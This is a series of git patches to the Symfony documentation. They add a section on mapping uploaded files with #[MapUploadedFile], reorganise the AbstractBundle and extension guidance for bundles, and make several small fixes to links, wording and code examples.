     The ``type`` option of ``#[MapRequestPayload]`` was introduced in Symfony 7.1.
 
+.. _controller_map-uploaded-file:
+
+Mapping Uploaded File
+~~~~~~~~~~~~~~~~~~~~~
+
+You can map ``UploadedFile``s to the controller arguments and optionally bind ``Constraints`` to them.
+The argument resolver fetches the ``UploadedFile`` based on the argument name.
+
+::
+
+    namespace App\Controller;
+
+    use Symfony\Component\HttpFoundation\File\UploadedFile;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Attribute\MapUploadedFile;
+    use Symfony\Component\Routing\Attribute\Route;
+    use Symfony\Component\Validator\Constraints as Assert;
+
+    #[Route('/user/picture', methods: ['PUT'])]
+    class ChangeUserPictureController
+    {
+        public function _invoke(
+            #[MapUploadedFile([
+                new Assert\File(mimeTypes: ['image/png', 'image/jpeg']),
+                new Assert\Image(maxWidth: 3840, maxHeight: 2160)
+            ])]
+            UploadedFile $picture
+        ): Response {
+            // ...
+        }
+    }
+
+.. tip::
+
+    The bound ``Constraints`` are performed before injecting the ``UploadedFile`` into the controller argument.
+    When a constraint violation is detected an ``HTTPException`` is thrown and the controller's
+    action is not executed.
+
+Mapping ``UploadedFile``s with no custom settings.
+
+.. code-block:: php-attributes
+
+    #[MapUploadedFile]
+    UploadedFile $document
+
+An ``HTTPException`` is thrown when the file is not submitted.
+You can skip this check by making the controller argument nullable.
+
+.. code-block:: php-attributes
+
+    #[MapUploadedFile]
+    ?UploadedFile $document
+
+.. code-block:: php-attributes
+
+    #[MapUploadedFile]
+    UploadedFile|null $document
+
+``UploadedFile`` collections must be mapped to array or variadic arguments.
+The bound ``Constraints`` will be applied to each file in the collection.
+If a constraint violation is detected to one of them an ``HTTPException`` is thrown.
+
+.. code-block:: php-attributes
+
+    #[MapUploadedFile(new Assert\File(mimeTypes: ['application/pdf']))]
+    array $documents
+
+.. code-block:: php-attributes
+
+    #[MapUploadedFile(new Assert\File(mimeTypes: ['application/pdf']))]
+    UploadedFile ...$documents
+
+Handling custom names.
+
+.. code-block:: php-attributes
+
+    #[MapUploadedFile(name: 'something-else')]
+    UploadedFile $document
+
+Changing the ``HTTP Status`` thrown when constraint violations are detected.
+
+.. code-block:: php-attributes
+
+    #[MapUploadedFile(
+        constraints: new Assert\File(maxSize: '2M'),
+        validationFailedStatusCode: Response::HTTP_REQUEST_ENTITY_TOO_LARGE
+    )]
+    UploadedFile $document
+
+.. versionadded:: 7.1
+
+    The ``#[MapUploadedFile]`` attribute was introduced in Symfony 7.1.
+
 Managing the Session
 --------------------
 
diff --git a/reference/attributes.rst b/reference/attributes.rst
index a1e8532c347..4428dc4c587 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -64,6 +64,7 @@ HttpKernel
 * :ref:`MapQueryParameter <controller_map-request>`
 * :ref:`MapQueryString <controller_map-request>`
 * :ref:`MapRequestPayload <controller_map-request>`
+* :ref:`MapUploadedFile <controller_map-uploaded-file>`
 * :ref:`ValueResolver <managing-value-resolvers>`
 * :ref:`WithHttpStatus <framework_exceptions>`
 * :ref:`WithLogLevel <framework_exceptions>`

From cbf0283855c15989a72e1dc9947a82cadbe0c933 Mon Sep 17 00:00:00 2001
From: Carl Casbolt <carl@platinumtechsolutions.co.uk>
Date: Mon, 22 Apr 2024 23:59:28 +0100
Subject: [PATCH 4688/5766] [Security] Update login_link.rst

---
 security/login_link.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/security/login_link.rst b/security/login_link.rst
index 0f642e1ad15..cfa6b52acfb 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -279,6 +279,8 @@ This will send an email like this to the user:
         // src/Notifier/CustomLoginLinkNotification
         namespace App\Notifier;
 
+        use Symfony\Component\Notifier\Message\EmailMessage;
+        use Symfony\Component\Notifier\Recipient\EmailRecipientInterface;
         use Symfony\Component\Security\Http\LoginLink\LoginLinkNotification;
 
         class CustomLoginLinkNotification extends LoginLinkNotification

From 2a6654789221f802e13c46cfe1e77b5cf81cdc34 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Apr 2024 14:57:27 +0200
Subject: [PATCH 4689/5766] Minor fix

---
 templates.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index 7dd7a758fae..33815a2b21a 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1257,7 +1257,7 @@ user name and a malicious user sets the following as their name:
     </script>
 
 You'll see ``My Name`` on screen but the attacker just secretly stole your cookies
-so they can impersonate you in other websites. This is known as a `Cross-Site Scripting`_
+so they can impersonate you on other websites. This is known as a `Cross-Site Scripting`_
 or XSS attack.
 
 To prevent this attack, use *"output escaping"* to transform the characters

From 71697592d789b9d434e284e9b7d0c8a1f243e349 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Apr 2024 15:01:21 +0200
Subject: [PATCH 4690/5766] Update more references to XSS attacks

---
 html_sanitizer.rst                                  | 4 ++--
 reference/forms/types/options/sanitize_html.rst.inc | 2 +-
 reference/forms/types/textarea.rst                  | 2 +-
 3 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index d5b28b0afb8..b412a49f321 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -15,8 +15,8 @@ that the returned HTML is very predictable (it only contains allowed
 elements), but it does not work well with badly formatted input (e.g.
 invalid HTML). The sanitizer is targeted for two use cases:
 
-* Preventing security attacks based on XSS or other technologies relying on
-  execution of malicious code on the visitors browsers;
+* Preventing security attacks based on :ref:`XSS <xss-attacks>` or other technologies
+  relying on the execution of malicious code on the visitors browsers;
 * Generating HTML that always respects a certain format (only certain
   tags, attributes, hosts, etc.) to be able to consistently style the
   resulting output with CSS. This also protects your application against
diff --git a/reference/forms/types/options/sanitize_html.rst.inc b/reference/forms/types/options/sanitize_html.rst.inc
index d5525674815..ead1e2791d5 100644
--- a/reference/forms/types/options/sanitize_html.rst.inc
+++ b/reference/forms/types/options/sanitize_html.rst.inc
@@ -9,7 +9,7 @@ sanitize_html
 
 When ``true``, the text input will be sanitized using the
 :doc:`Symfony HTML Sanitizer component </html_sanitizer>` after the form is
-submitted. This protects the form input against XSS, clickjacking and CSS
+submitted. This protects the form input against :ref:`XSS <xss-attacks>`, clickjacking and CSS
 injection.
 
 .. note::
diff --git a/reference/forms/types/textarea.rst b/reference/forms/types/textarea.rst
index 0460bca6942..cf56d3067de 100644
--- a/reference/forms/types/textarea.rst
+++ b/reference/forms/types/textarea.rst
@@ -22,7 +22,7 @@ Renders a ``textarea`` HTML element.
 .. caution::
 
     When allowing users to type HTML code in the textarea (or using a
-    WYSIWYG) editor, the application is vulnerable to XSS injection,
+    WYSIWYG) editor, the application is vulnerable to :ref:`XSS injection <xss-attacks>`,
     clickjacking or CSS injection. Use the `sanitize_html`_ option to
     protect against these types of attacks.
 

From 86c9fe25d057fa9cc61d504c30818344af1cbef5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Apr 2024 15:52:22 +0200
Subject: [PATCH 4691/5766] Reword

---
 webhook.rst | 16 +++++++++++-----
 1 file changed, 11 insertions(+), 5 deletions(-)

diff --git a/webhook.rst b/webhook.rst
index f931a3601ce..a981cd3e467 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -16,11 +16,6 @@ Installation
 
     $ composer require symfony/webhook
 
-.. tip::
-
-    Since MakerBundle ``v1.58.0`` - you can run ``php bin/console make:webhook``
-    to generate the files needed to use the Webhook component.
-
 Usage in Combination with the Mailer Component
 ----------------------------------------------
 
@@ -193,3 +188,14 @@ For SMS webhooks, react to the
             // Handle the SMS event
         }
     }
+
+Creating a Custom Webhook
+-------------------------
+
+.. tip::
+
+    Starting in `MakerBundle`_ ``v1.58.0``, you can run ``php bin/console make:webhook``
+    to generate the request parser and consumer files needed to create your own
+    Webhook.
+
+_`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html

From ef7b670c91a26e33ca9c27d253c10734473f4e0c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 23 Apr 2024 16:13:22 +0200
Subject: [PATCH 4692/5766] Minor tweak

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 2fdf20eab05..ace44982dbd 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -432,7 +432,7 @@ An added bonus of defining the enabled locales is that they are automatically
 added as a requirement of the :ref:`special _locale parameter <routing-locale-parameter>`.
 For example, if you define this value as ``['ar', 'he', 'ja', 'zh']``, the
 ``_locale`` routing parameter will have an ``ar|he|ja|zh`` requirement. If some
-user makes requests with a locale not included in this option, they'll see an error.
+user makes requests with a locale not included in this option, they'll see a 404 error.
 
 set_content_language_from_locale
 ................................

From a36ff96c8b80d91dd307649db3a7b92ac1b33803 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 24 Apr 2024 10:01:55 +0200
Subject: [PATCH 4693/5766] Minor RST syntax issue

---
 webhook.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/webhook.rst b/webhook.rst
index a981cd3e467..773df3643bc 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -198,4 +198,4 @@ Creating a Custom Webhook
     to generate the request parser and consumer files needed to create your own
     Webhook.
 
-_`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
+.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html

From 09f26ddd840de9456f0fb795e9c89c47b41875c9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 24 Apr 2024 09:54:38 +0200
Subject: [PATCH 4694/5766] Disable a validation rule in the docs linter

---
 .doctor-rst.yaml | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 6f8707dd0bb..d6afb41ba6e 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -1,9 +1,5 @@
 rules:
     american_english: ~
-    argument_variable_must_match_type:
-        arguments:
-            - { type: 'ContainerBuilder', name: 'container' }
-            - { type: 'ContainerConfigurator', name: 'container' }
     avoid_repetetive_words: ~
     blank_line_after_anchor: ~
     blank_line_after_directive: ~

From c33b2293d95cccb12134efb15d53878ca5e68971 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Markus=20Fr=C3=BChauf?= <m.fruehauf@gmail.com>
Date: Wed, 24 Apr 2024 12:17:09 +0200
Subject: [PATCH 4695/5766] fix dead link with correct once

---
 scheduler.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 12d76eadc29..3a104b4b353 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -965,12 +965,12 @@ before being further redispatched to its corresponding handler::
     }
 
 When using the ``RedispatchMessage``, Symfony will attach a
-:class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp` to the message,
+:class:`Symfony\\Component\\Scheduler\\Messenger\\Stamp\\ScheduledStamp` to the message,
 helping you identify those messages when needed.
 
 .. versionadded:: 6.4
 
-    Automatically attaching a :class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp`
+    Automatically attaching a :class:`Symfony\\Component\\Scheduler\\Messenger\\Stamp\\ScheduledStamp`
     to redispatched messages was introduced in Symfony 6.4.
 
 .. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization

From ed767c9fa65cc4c97d8c2909cc83d02465b84102 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Apr 2024 17:52:36 +0200
Subject: [PATCH 4696/5766] [Bundles] Promote the new bundle structure
 everywhere

---
 bundles.rst               |   4 +
 bundles/configuration.rst | 195 ++++++++++++++++++++------------------
 bundles/extension.rst     | 126 +++++++++++++-----------
 3 files changed, 179 insertions(+), 146 deletions(-)

diff --git a/bundles.rst b/bundles.rst
index c937b1ac69f..bb055f5ea09 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -87,6 +87,8 @@ of the bundle. Now that you've created the bundle, enable it::
 
 And while it doesn't do anything yet, AcmeBlogBundle is now ready to be used.
 
+.. _bundles-directory-structure:
+
 Bundle Directory Structure
 --------------------------
 
@@ -119,6 +121,8 @@ to be adjusted if needed:
 ``translations/``
     Holds translations organized by domain and locale (e.g. ``AcmeBlogBundle.en.xlf``).
 
+.. _bundles-legacy-directory-structure:
+
 .. caution::
 
     The recommended bundle structure was changed in Symfony 5, read the
diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index c155fe8a56a..48b91c1713a 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -46,11 +46,114 @@ as integration of other related components:
             $framework->form()->enabled(true);
         };
 
+There are two different ways of creating friendly configuration for a bundle:
+
+#. :ref:`Using the main bundle class <bundle-friendly-config-bundle-class>`:
+   this is recommended for new bundles and for bundles following the
+   :ref:`recommended directory structure <bundles-directory-structure>`;
+#. :ref:`Using the Bundle extension class <bundle-friendly-config-extension>`:
+   this was the traditional way of doing it, but nowadays it's only recommended for
+   bundles following the :ref:`legacy directory structure <bundles-legacy-directory-structure>`.
+
+.. _using-the-bundle-class:
+.. _bundle-friendly-config-bundle-class:
+
+Using the AbstractBundle Class
+------------------------------
+
+.. versionadded:: 6.1
+
+    The ``AbstractBundle`` class was introduced in Symfony 6.1.
+
+In bundles extending the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
+class, you can add all the logic related to processing the configuration in that class::
+
+    // src/AcmeSocialBundle.php
+    namespace Acme\SocialBundle;
+
+    use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
+
+    class AcmeSocialBundle extends AbstractBundle
+    {
+        public function configure(DefinitionConfigurator $definition): void
+        {
+            $definition->rootNode()
+                ->children()
+                    ->arrayNode('twitter')
+                        ->children()
+                            ->integerNode('client_id')->end()
+                            ->scalarNode('client_secret')->end()
+                        ->end()
+                    ->end() // twitter
+                ->end()
+            ;
+        }
+
+        public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
+        {
+            // the "$config" variable is already merged and processed so you can
+            // use it directly to configure the service container (when defining an
+            // extension class, you also have to do this merging and processing)
+            $containerConfigurator->services()
+                ->get('acme.social.twitter_client')
+                ->arg(0, $config['twitter']['client_id'])
+                ->arg(1, $config['twitter']['client_secret'])
+            ;
+        }
+    }
+
+.. note::
+
+    The ``configure()`` and ``loadExtension()`` methods are called only at compile time.
+
+.. tip::
+
+    The ``AbstractBundle::configure()`` method also allows to import the
+    configuration definition from one or more files::
+
+        // src/AcmeSocialBundle.php
+        namespace Acme\SocialBundle;
+
+        // ...
+        class AcmeSocialBundle extends AbstractBundle
+        {
+            public function configure(DefinitionConfigurator $definition): void
+            {
+                $definition->import('../config/definition.php');
+                // you can also use glob patterns
+                //$definition->import('../config/definition/*.php');
+            }
+
+            // ...
+        }
+
+    .. code-block:: php
+
+        // config/definition.php
+        use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
+
+        return static function (DefinitionConfigurator $definition): void {
+            $definition->rootNode()
+                ->children()
+                    ->scalarNode('foo')->defaultValue('bar')->end()
+                ->end()
+            ;
+        };
+
+.. _bundle-friendly-config-extension:
+
 Using the Bundle Extension
 --------------------------
 
+This is the traditional way of creating friendly configuration for bundles. For new
+bundles it's recommended to :ref:`use the main bundle class <bundle-friendly-config-bundle-class>`,
+but the traditional way of creating an extension class still works.
+
 Imagine you are creating a new bundle - AcmeSocialBundle - which provides
-integration with Twitter. To make your bundle configurable to the user, you
+integration with X/Twitter. To make your bundle configurable to the user, you
 can add some configuration that looks like this:
 
 .. configuration-block::
@@ -110,7 +213,7 @@ load correct services and parameters inside an "Extension" class.
 
     If a bundle provides an Extension class, then you should *not* generally
     override any service container parameters from that bundle. The idea
-    is that if an Extension class is present, every setting that should be
+    is that if an extension class is present, every setting that should be
     configurable should be present in the configuration made available by
     that class. In other words, the extension class defines all the public
     configuration settings for which backward compatibility will be maintained.
@@ -315,94 +418,6 @@ In your extension, you can load this and dynamically set its arguments::
             // ... now use the flat $config array
         }
 
-.. _using-the-bundle-class:
-
-Using the AbstractBundle Class
-------------------------------
-
-.. versionadded:: 6.1
-
-    The ``AbstractBundle`` class was introduced in Symfony 6.1.
-
-As an alternative, instead of creating an extension and configuration class as
-shown in the previous section, you can also extend
-:class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle` to add this
-logic to the bundle class directly::
-
-    // src/AcmeSocialBundle.php
-    namespace Acme\SocialBundle;
-
-    use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
-    use Symfony\Component\DependencyInjection\ContainerBuilder;
-    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
-    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
-
-    class AcmeSocialBundle extends AbstractBundle
-    {
-        public function configure(DefinitionConfigurator $definition): void
-        {
-            $definition->rootNode()
-                ->children()
-                    ->arrayNode('twitter')
-                        ->children()
-                            ->integerNode('client_id')->end()
-                            ->scalarNode('client_secret')->end()
-                        ->end()
-                    ->end() // twitter
-                ->end()
-            ;
-        }
-
-        public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $containerBuilder): void
-        {
-            // Contrary to the Extension class, the "$config" variable is already merged
-            // and processed. You can use it directly to configure the service container.
-            $containerConfigurator->services()
-                ->get('acme.social.twitter_client')
-                ->arg(0, $config['twitter']['client_id'])
-                ->arg(1, $config['twitter']['client_secret'])
-            ;
-        }
-    }
-
-.. note::
-
-    The ``configure()`` and ``loadExtension()`` methods are called only at compile time.
-
-.. tip::
-
-    The ``AbstractBundle::configure()`` method also allows to import the
-    configuration definition from one or more files::
-
-        // src/AcmeSocialBundle.php
-        namespace Acme\SocialBundle;
-
-        // ...
-        class AcmeSocialBundle extends AbstractBundle
-        {
-            public function configure(DefinitionConfigurator $definition): void
-            {
-                $definition->import('../config/definition.php');
-                // you can also use glob patterns
-                //$definition->import('../config/definition/*.php');
-            }
-
-            // ...
-        }
-
-    .. code-block:: php
-
-        // config/definition.php
-        use Symfony\Component\Config\Definition\Configurator\DefinitionConfigurator;
-
-        return static function (DefinitionConfigurator $definition): void {
-            $definition->rootNode()
-                ->children()
-                    ->scalarNode('foo')->defaultValue('bar')->end()
-                ->end()
-            ;
-        };
-
 Modifying the Configuration of Another Bundle
 ---------------------------------------------
 
diff --git a/bundles/extension.rst b/bundles/extension.rst
index 8b2928358ad..d2e3cd05b9d 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -6,12 +6,77 @@ file used by the application but in the bundles themselves. This article
 explains how to create and load service files using the bundle directory
 structure.
 
+There are two different ways of doing it:
+
+#. :ref:`Load your services in the main bundle class <bundle-load-services-bundle-class>`:
+   this is recommended for new bundles and for bundles following the
+   :ref:`recommended directory structure <bundles-directory-structure>`;
+#. :ref:`Create an extension class to load the service configuration files <bundle-load-services-extension>`:
+   this was the traditional way of doing it, but nowadays it's only recommended for
+   bundles following the :ref:`legacy directory structure <bundles-legacy-directory-structure>`.
+
+.. _bundle-load-services-bundle-class:
+
+Loading Services Directly in your Bundle Class
+----------------------------------------------
+
+.. versionadded:: 6.1
+
+    The ``AbstractBundle`` class was introduced in Symfony 6.1.
+
+In bundles extending the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
+class, you can define the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::loadExtension`
+method to load service definitions from configuration files::
+
+    // ...
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
+
+    class AcmeHelloBundle extends AbstractBundle
+    {
+        public function loadExtension(array $config, ContainerConfigurator $container, ContainerBuilder $builder): void
+        {
+            // load an XML, PHP or YAML file
+            $container->import('../config/services.xml');
+
+            // you can also add or replace parameters and services
+            $container->parameters()
+                ->set('acme_hello.phrase', $config['phrase'])
+            ;
+
+            if ($config['scream']) {
+                $container->services()
+                    ->get('acme_hello.printer')
+                        ->class(ScreamingPrinter::class)
+                ;
+            }
+        }
+    }
+
+This method works similar to the ``Extension::load()`` method explained below,
+but it uses a new simpler API to define and import service configuration.
+
+.. note::
+
+    Contrary to the ``$configs`` parameter in ``Extension::load()``, the
+    ``$config`` parameter is already merged and processed by the
+    ``AbstractBundle``.
+
+.. note::
+
+    The ``loadExtension()`` is called only at compile time.
+
+.. _bundle-load-services-extension:
+
 Creating an Extension Class
 ---------------------------
 
-In order to load service configuration, you have to create a Dependency
-Injection (DI) Extension for your bundle. By default, the Extension class must
-follow these conventions (but later you'll learn how to skip them if needed):
+This is the traditional way of loading service definitions in bundles. For new
+bundles it's recommended to :ref:`load your services in the main bundle class <bundle-load-services-bundle-class>`,
+but the traditional way of creating an extension class still works.
+
+A depdendency injection extension is defined as a class that follows these
+conventions (later you'll learn how to skip them if needed):
 
 * It has to live in the ``DependencyInjection`` namespace of the bundle;
 
@@ -20,7 +85,7 @@ follow these conventions (but later you'll learn how to skip them if needed):
   :class:`Symfony\\Component\\DependencyInjection\\Extension\\Extension` class;
 
 * The name is equal to the bundle name with the ``Bundle`` suffix replaced by
-  ``Extension`` (e.g. the Extension class of the AcmeBundle would be called
+  ``Extension`` (e.g. the extension class of the AcmeBundle would be called
   ``AcmeExtension`` and the one for AcmeHelloBundle would be called
   ``AcmeHelloExtension``).
 
@@ -70,7 +135,7 @@ class name to underscores (e.g. ``AcmeHelloExtension``'s DI alias is
 ``acme_hello``).
 
 Using the ``load()`` Method
----------------------------
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 In the ``load()`` method, all services and parameters related to this extension
 will be loaded. This method doesn't get the actual container instance, but a
@@ -108,57 +173,6 @@ The Extension is also the class that handles the configuration for that
 particular bundle (e.g. the configuration in ``config/packages/<bundle_alias>.yaml``).
 To read more about it, see the ":doc:`/bundles/configuration`" article.
 
-Loading Services directly in your Bundle class
-----------------------------------------------
-
-.. versionadded:: 6.1
-
-    The ``AbstractBundle`` class was introduced in Symfony 6.1.
-
-Alternatively, you can define and load services configuration directly in a
-bundle class instead of creating a specific ``Extension`` class. You can do
-this by extending from :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
-and defining the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::loadExtension`
-method::
-
-    // ...
-    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
-    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
-
-    class AcmeHelloBundle extends AbstractBundle
-    {
-        public function loadExtension(array $config, ContainerConfigurator $containerConfigurator, ContainerBuilder $containerBuilder): void
-        {
-            // load an XML, PHP or Yaml file
-            $containerConfigurator->import('../config/services.xml');
-
-            // you can also add or replace parameters and services
-            $containerConfigurator->parameters()
-                ->set('acme_hello.phrase', $config['phrase'])
-            ;
-
-            if ($config['scream']) {
-                $containerConfigurator->services()
-                    ->get('acme_hello.printer')
-                        ->class(ScreamingPrinter::class)
-                ;
-            }
-        }
-    }
-
-This method works similar to the ``Extension::load()`` method, but it uses
-a new API to define and import service configuration.
-
-.. note::
-
-    Contrary to the ``$configs`` parameter in ``Extension::load()``, the
-    ``$config`` parameter is already merged and processed by the
-    ``AbstractBundle``.
-
-.. note::
-
-    The ``loadExtension()`` is called only at compile time.
-
 Adding Classes to Compile
 -------------------------
 

From 5f33d0cd02e38c24621dee3de8b7596dafbe6533 Mon Sep 17 00:00:00 2001
From: Jeroen <4200784+JeroenMoonen@users.noreply.github.com>
Date: Wed, 24 Apr 2024 19:49:34 +0200
Subject: [PATCH 4697/5766] Update scheduler.rst

---
 scheduler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scheduler.rst b/scheduler.rst
index 3a104b4b353..afc99404df5 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -591,7 +591,7 @@ In your handler, you can check a condition and, if affirmative, access the
         }
     }
 
-    // src/Scheduler/Handler/.php
+    // src/Scheduler/Handler/CleanUpOldSalesReportHandler.php
     namespace App\Scheduler\Handler;
 
     #[AsMessageHandler]

From 044be1e65529b555f35688fc84998e3dd18b374b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 26 Apr 2024 16:11:47 +0200
Subject: [PATCH 4698/5766] Tweaks

---
 security/access_token.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index 593c6404c7a..2aca75118a3 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -537,7 +537,7 @@ claims. To create your own user object from the claims, you must
 2) Configure the OidcTokenHandler
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The ``OidcTokenHandler`` requires the package ``web-token/jwt-library``.
+The ``OidcTokenHandler`` requires the ``web-token/jwt-library`` package.
 If you haven't installed it yet, run this command:
 
 .. code-block:: terminal
@@ -619,6 +619,11 @@ it and retrieve the user info from it:
             ;
         };
 
+.. versionadded:: 7.1
+
+    The support of multiple algorithms to sign the JWS was introduced in Symfony 7.1.
+    In previous versions, only the ``ES256`` algorithm was supported.
+
 Following the `OpenID Connect Specification`_, the ``sub`` claim is used by
 default as user identifier. To use another claim, specify it on the
 configuration:

From 2c16e402a0141c60dced61bee1c787d52a1139f0 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 23 Apr 2024 11:01:07 +0200
Subject: [PATCH 4699/5766] Upload Files: Removing `getParameter()`

---
 controller/upload_file.rst | 9 +++------
 1 file changed, 3 insertions(+), 6 deletions(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index e444101ef00..b273deb0fab 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -134,7 +134,7 @@ Finally, you need to update the code of the controller that handles the form::
         /**
          * @Route("/product/new", name="app_product_new")
          */
-        public function new(Request $request, SluggerInterface $slugger): Response
+        public function new(Request $request, SluggerInterface $slugger, string $brochuresDirectory): Response
         {
             $product = new Product();
             $form = $this->createForm(ProductType::class, $product);
@@ -154,10 +154,7 @@ Finally, you need to update the code of the controller that handles the form::
 
                     // Move the file to the directory where brochures are stored
                     try {
-                        $brochureFile->move(
-                            $this->getParameter('brochures_directory'),
-                            $newFilename
-                        );
+                        $brochureFile->move($brochuresDirectory, $newFilename);
                     } catch (FileException $e) {
                         // ... handle exception if something happens during file upload
                     }
@@ -223,7 +220,7 @@ You can use the following code to link to the PDF brochure of a product:
         // ...
 
         $product->setBrochureFilename(
-            new File($this->getParameter('brochures_directory').'/'.$product->getBrochureFilename())
+            new File($brochuresDirectory.DIRECTORY_SEPARATOR.$product->getBrochureFilename())
         );
 
 Creating an Uploader Service

From 507eed36af4a4ca28ecdaf719c7eedcb75526ea1 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 27 Apr 2024 10:23:41 +0200
Subject: [PATCH 4700/5766] use option name as link label

---
 forms.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/forms.rst b/forms.rst
index 715fdb17f27..8b8a0534201 100644
--- a/forms.rst
+++ b/forms.rst
@@ -840,7 +840,7 @@ to the ``form()`` or the ``form_start()`` helper functions:
     that stores this method. The form will be submitted in a normal ``POST``
     request, but :doc:`Symfony's routing </routing>` is capable of detecting the
     ``_method`` parameter and will interpret it as a ``PUT``, ``PATCH`` or
-    ``DELETE`` request. The :ref:`configuration-framework-http_method_override`
+    ``DELETE`` request. The :ref:`http_method_override <configuration-framework-http_method_override>`
     option must be enabled for this to work.
 
 Changing the Form Name

From 87c724546a48d40eb74fc68cb970d473eb0111c2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Markus=20Fr=C3=BChauf?= <m.fruehauf@gmail.com>
Date: Sat, 27 Apr 2024 22:01:08 +0200
Subject: [PATCH 4701/5766] [Scheduler] fix dead link with correct once, again

---
 scheduler.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index afc99404df5..5257a37d422 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -965,12 +965,12 @@ before being further redispatched to its corresponding handler::
     }
 
 When using the ``RedispatchMessage``, Symfony will attach a
-:class:`Symfony\\Component\\Scheduler\\Messenger\\Stamp\\ScheduledStamp` to the message,
+:class:`Symfony\\Component\\Scheduler\\Messenger\\ScheduledStamp` to the message,
 helping you identify those messages when needed.
 
 .. versionadded:: 6.4
 
-    Automatically attaching a :class:`Symfony\\Component\\Scheduler\\Messenger\\Stamp\\ScheduledStamp`
+    Automatically attaching a :class:`Symfony\\Component\\Scheduler\\Messenger\\ScheduledStamp`
     to redispatched messages was introduced in Symfony 6.4.
 
 .. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization

From 092b40e1b2195db9cecd574cf33898690e8ec3d7 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 25 Apr 2024 12:45:12 +0200
